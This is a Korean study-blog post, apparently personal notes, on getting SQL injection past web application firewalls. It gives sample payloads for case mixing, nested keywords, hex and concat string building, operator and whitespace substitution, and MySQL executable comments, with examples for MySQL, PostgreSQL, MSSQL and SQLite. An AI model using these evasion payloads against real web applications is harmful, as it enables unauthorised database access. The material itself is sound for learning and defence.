1.INTRO
Web Application FIrewall(WAF)는 웹 어플에 특화된 방화벽이다. 방화벽을 적용하면 악성 트래픽을 유발하는 디도스와 데이터 베이스와 관련된 SQLI, 최근에는 자바 로깅 라이브러리에서 발생한 log4j 등의 공격을 탐지하고 접속을 차단한다.
웹 방화벽은 공격에 사용되었던 코드, 즉 주요 키워드를 기반으로 탐지하며, 따라서 방화벽이 적용된 웹 서비스에서 SQL Injection 취약점이 발생하더라도 공격을 최소화 할 수 있따. 그러나 키워드를 이용해 탐지하는 방식을 사용하기 때문에 근본적인 취약점을 해결할 수 없다. 취약점은 존재하기 때문에 SQL이 다양한 함수와 형태를 지원하는 언어라는 점을 이용해 특정 경우에서 방화벽을 우회하고 공격할 수 있다.
2.탐지 우회
1) 대소문자 검사 미흡
SQL은 데이엍베이스와 컬럼명을 포함해 질의문의 대소문자를 구분하지 않고 실행한다. 일부 방화벽에서 "UNION" 이라는 키워드를 통해 공격 여부를 판단할 경우 공격자는 "union"을 사용해 이를 우회할 수 있다. 만일 방화벽에서 대 소문자 모두 검사 할 경우 아래의 방법으로 우회할 수도 있다. 쿼리를 살펴보면, 대소문자를 함께 사용한 것을 확인할 수 있고, 이는 DBMS에서 정상적으로 실행된다.
UnIoN Select 1, 2,3
seLECT SLEep (5)
2) 탐지 과정의 미흡
방화벽에서 악성 키워드를 탐지 했을 경우 다양하게 요청을 처리할 수 있따. 예를 들어, 악성 키워드가 포함된 요청을 거부하거나 내부에서 치환 과정을 거친 후에 요청을 처리 할 수도 있다. 만일 방화벽에서 "UNION" 또는 'union" 이라는 문자열을 탐지하고, 공백으로 치환할 경우 아래와 같은 방법으로 우회가 가능하다. 쿼리를 살펴보면, 정상적이지 않은 쿼리문이지만 방화벽 내부에서 "UNION", "union" 문자를 공벽으로 지환할경우 "UNION SELECT 1, 2 --" 문자열이 완성 되고, 내부에서 정상적으로 쿼리가 실행될 수 있다
UNunionION SELselectECT 1,2 --
# => UNION SELECT 1,2 --
3) 문자열 검사 미흡
일반적인 상황에서 "admin" 이라는 문자열을 사용하는 경우는 많지 않다. 이와 같은 이유로 방화벽에서 "admin" 키워드를 포함 여부를 검사하는 경우 아래와 같은 방법으로 우회할 수 있다.
쿼리를 살펴보면 reverse 와 concat 함수를 이용해 문자열을 뒤집고, 이어붙이며 16진수를 사용해 임의의 문자열을 완성한다.
mysql> SELECT reverse('nimda'), concat('adm','in'), x'61646d696e', 0x61646d696e;
/*
+------------------+--------------------+---------------+--------------+
| reverse('nimda') | concat('adm','in') | x'61646d696e' | 0x61646d696e |
+------------------+--------------------+---------------+--------------+
| admin | admin | admin | admin |
+------------------+--------------------+---------------+--------------+
1 row in set (0.00 sec)
*/
4) 연사자 검사 미흡
일반 이용자의 입력값에는 연산자가 필요하지 않으므로 방화멱에서 "and", "or" 과 같은 연산자 키워드의 포함 여부를 검사하낟. 연산자를 검사하는 경우 아래와 같은 방법으로 우회 할 수 있따. 쿼리를 살펴보면 "or" 연산자를 의미하는 기호인 "||"를 사용한다. 이외에도 ^, =, !=, %, /, *, &, &&, |, ||, > ,<, xor, div, like, rlike, GEGEXP, IS, IN, NOT, MATCH, AND, OR, BETWEEN, ISNULL 등의 연산자 사용이 가능하다.
mysql> select 1 || 1;
/*
+--------+
| 1 || 1 |
+--------+
| 1 |
+--------+
1 row in set (0.00 sec)
*/
5) 공백탐지
이름, 생년월일과 같은 항목은 공백이 필요하지 않다. 공백을 허용하는 경우 공격자가 SQLI를 통해 다양한 함수와 또 다른 쿼리르 삽입해 의도하지 않은 결과가 나타날 수 있따. 따라서 받고자하는 항목에 공백 문자가 필요하지 않은 경우에 해당 문자를 검사할 때도 있따. 공백 문자를 검사한다면 아래 두 방법으로 우회가 가능하다
아래 첫 예시는 주석을 이용해 공백 문자 검사를 우회하는 쿼리의 예시이고, SELECT 구문과 문자열 사이에 주석을 나타내는 "/**/"문자열을 삽입해 공백을 대신한다.
또한 아래 두 번째 예시처럼 Back Quote 문자를 사용해 공백 없이 쿼리를 실행시킬 수 있다.
mysql> SELECT/**/'abc';
/*
+-----+
| abc |
+-----+
| abc |
+-----+
1 row in set (0.00 sec)
*/
mysql> select`username`,(password)from`users`WHERE`username`='admin';
/*
+----------+----------------+
| username | password |
+----------+----------------+
| admin | admin_password |
+----------+----------------+
1 row in set (0.00 sec)
*/
3.MySQL 우회 기법
1)문자열 검사 우회
mysql> select 0x6162, 0b110000101100010;
/*
+--------+-------------------+
| 0x6162 | 0b110000101100010 |
+--------+-------------------+
| ab | ab |
+--------+-------------------+
1 row in set (0.00 sec)
*/
MySQL 진법을 이용한 문자열 검사 우회
mysql> select char(0x61, 0x62);
/*
+------------------+
| char(0x61, 0x62) |
+------------------+
| ab |
+------------------+
1 row in set (0.00 sec)
*/
mysql> select concat(char(0x61), char(0x62));
/*
+--------------------------------+
| concat(char(0x61), char(0x62)) |
+--------------------------------+
| ab |
+--------------------------------+
*/
MySQL 함수를 이용한 무자열 검사 우회
mysql> select mid(@@version,12,1);
/*
+---------------------+
| mid(@@version,12,1) |
+---------------------+
| n |
+---------------------+
*/
MySQL 가젯을 이용한 문자열 검사 우회
2) 공백 검사 우회
mysql> select
-> 1;
/*
+---+
| 1 |
+---+
| 1 |
+---+
*/
MySQL 개행을 이용한 공백 검사 우회
mysql> select/**/1;
/*
+---+
| 1 |
+---+
| 1 |
+---+
*/
MySQL 주석을 이용한 공백 검사 우회
3)주석구문 실행
WHF에서 "/* ;;; */" 문자열을 주석으로 인식하고 쿼리 구문으로 해석하지 않는다. MySQL Server에서 제공하는 기능 중 "/*! ;;; */"는 주석 내 구문을 분석하고, 이를 쿼리의 일부로 실행한다, 이를 통해 WAF를 우회하고 MySQL에서 임의의 쿼리 실행이 가능하다.
mysql> select 1 /*!union*/ select 2;
/*
+---+
| 1 |
+---+
| 1 |
| 2 |
+---+
2 rows in set (0.00 sec)
*/
mysql> SELECT 1+1; # This comment continues to the end of line
mysql> SELECT 1+1; -- This comment continues to the end of line
mysql> SELECT 1 /* this is an in-line comment */ + 1;
mysql> SELECT 1+
/*
this is a
multiple-line comment
*/
1;
위는 MySQL에서 사용되는 세가지 주석 구문이다.
MySQL Server는 C 스타일 주석의 특정 변형을 지원한다. 이를 통해, MySQl 확장을 포함하는 코드를 작성할 수 있지만 다음 형식의 주석을 사용해 여전히 이식이 가능하다.
/*! MySQL-specific code */
이 경우 MySQL Server는 다른 SQL 문과 마찬가지로 주석 내 코드를 구문 분석하고 실행하지만, 다른 SQL 서버는 확장을 무시해야한다.
4.PostgreSQL 우회 기법
1)문자열 검사 우회
postgres=> select chr(65);
/*
chr
-----
A
*/
postgres=> select concat(chr(65), chr(66));
/*
concat
--------
AB
*/
위 두가지는 PostgreSQL에서 사용하는 함수를 이용한 방법이다.
postgres=> select substring(version(),23,1);
/*
substring
-----------
n
*
위의 방식은 가젯을 이용한 방법이다
3) 공백 검사 우회
postgres=> select
1;
/*
?column?
----------
1
*/
개행 이용
postgres=> select/**/1;
/*
?column?
----------
1
*/
주석 이용
5. MSSQL 우회 기법
> select char(0x61);
/*
-
a
*/
> select concat(char(0x61), char(0x62));
/*
--
ab
*/
함수 이용
> select substring(@@version,134,1);
/*
-
n
*/
가젯 이용
2) 공백 검사 이용
> select
1;
/*
-----------
1
*/
개행
> select/**/1;
/*
-----------
1
*/
주석
6.SQLite 우회 기법
sqlite> select char(0x61);
/*
a
*/
sqlite> select char(0x61)||char(0x62);
/*
ab
*/
함수 이용
sqlite> select *개행 이용
...> 1;
/*
1
*/
sqlite> select/**/1; *주석이용
/*
1
*/
3)구문검사 우회
SELECT 구문을 사용하지 못하면 원하는 값을 반환할 수 없다. 이때 "UNION VALUES(num):을 이용하면 원하는 값을 반환할 수 있다.
sqlite> select 1 union values(2);
/*
1
2
*/
zzzz,,,,SQLI 첨부터 다시 복습해야겠다,, 실습하는데 차마 답이 안나온다,,힝
'IT > 웹해킹' 카테고리의 다른 글
오늘의 공부 (0) | 2023.07.20 |
---|---|
오늘의 공부 (0) | 2023.07.19 |
SQL Injection -Part2 -1 (0) | 2023.01.26 |
SQL injection -4 (2) | 2023.01.25 |
SQL Injection -3 (0) | 2023.01.24 |